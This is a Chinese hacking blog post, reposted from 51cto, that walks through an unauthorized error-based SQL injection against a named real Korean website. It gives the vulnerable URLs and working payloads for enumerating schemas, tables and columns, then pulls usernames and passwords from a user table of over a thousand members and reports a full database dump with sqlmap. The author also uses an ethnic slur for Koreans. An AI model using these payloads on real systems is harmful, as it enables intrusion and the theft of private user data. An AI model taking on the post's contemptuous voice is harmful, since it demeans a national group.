注入棒子国某网站

注入点很多，随便找了一个：

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593

查看列长度：

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 order by 74

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 order by 75

74时正确，75时错误，所以列长度为74，下面进行暴库试试。。。。

http://www.awm.or.kr/bbs/view.php?board=document&nid=43615 and 1=2 union select  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74

出错了，但是语句没问题。。。卧槽。。。。换几条语句总是出错！！！！！

下面换些nb的语句，忘了跟哪收集的了，不足之处就是库，表名、字段、字段内容需要一个一个的爆！！！！不多说，看操作！！！

暴库：

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

不断修改语句中“information_schema.schemata”后面第一个“limit”后0开始的值，直到出现正确页面为止，如图，0时爆出库 information_schema,

1   PSSP  

2   PSSP2013  

3   test

到4时出现正确页面，所以

1   PSSP  

2   PSSP2013  

3   test

爆当前库：

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

将得到的数字加上0x转码，如下图：

得到当前库为PSSP2013

爆表：

得到了库，下面开始爆库下面的表，需要一个一个的爆。。。。

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x5053535032303133 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

这是一个漫长的过程，，我对棒子国的思想完全蒙圈了。，，，爆出了155个表，最终爆出了user_table表，这个表恰好是在第155个最后出现的。。。。所以手工注入需要有耐心啊。。。。

（依次爆表的方法与爆库方法一样）

10_group_member_table    10_group_member_field_table    15_group_member_field_table  15_group_member_table

19_group_member_field_table     19_group_member_table   23_group_member_field_table        23_group_member_table

27_group_member_field_table     27_group_member_table      28_group_member_field_table

28_group_member_table      29_group_member_field_table     29_group_member_table

2_group_member_field_table  2_group_member_table  9_group_member_field_table   9_group_member_table

board_Terms  board_Terms2Post   board_trackback    category_info_table    cms_section   cms_section_data

dir_config_info   gmail_config_info  group_blog_table   group_field_table   group_info_table  group_level_table  group_user_table  jcalendar_board  jcalendar_comment_memo   jcalendar_config_info

jcalendar_pepaclcal_board  join_config_info   join_out_config_info  login_config_info   maybbs_align

maybbs_antigizi_board   maybbs_art_board   maybbs_awmnotice_board    maybbs_board   maybbs_board_board

maybbs_comment_memo   maybbs_config_info   maybbs_document_board  maybbs_eco_board   maybbs_editor_board

maybbs_executive_board  maybbs_executive_doc_board   maybbs_g20_board   maybbs_gjboard_board

maybbs_gjnews_board  maybbs_gjnotice_board   maybbs_gjpaper_board   maybbs_gjstate_board  maybbs_health_board  maybbs_healthnotice_board

menu_table

155  user_table  153 user_blog_table    155个表

就这些破逼玩意。。。还有一半没贴出来。。。。脑子怎么想的。。fuck！！！！！

暴字段：

爆出了表，下面就开始暴字段了。。。方法依旧：

表user_table

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x5053535032303133 and table_name=0x757365725F7461626C65 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

贴出几张爆出来的字段：

一共有36个字段，全是一些job Email phone name id address之类的信息。。。。

暴字段内容：

还是手工吧，不知道有多少。。。。

http://www.awm.or.kr/bbs/view.php?board=report&nid=43593 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,user_table.username,0x27,0x7e,user_table.password,0x27,0x7e,user_table.is_new_passwd,0x27,0x7e) from user_table limit 10,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

先看一下效果：

确实有数剧，粗略看看有多少：

卧槽。。。一千多条。。。手工要搞到毛时候、、、、果断放弃。。。

此时，sqlmap起作用了，***最真实的利器！！！

结果：

裤子给丫脱了。。到此结束

总结：搞完发现被搞晕了。。。貌似我要搞的不是这些东西，而是后台。。。扫扫后台也没找到。。。。有没有大牛能继续下去

转载于:https://blog.51cto.com/waning411/1398403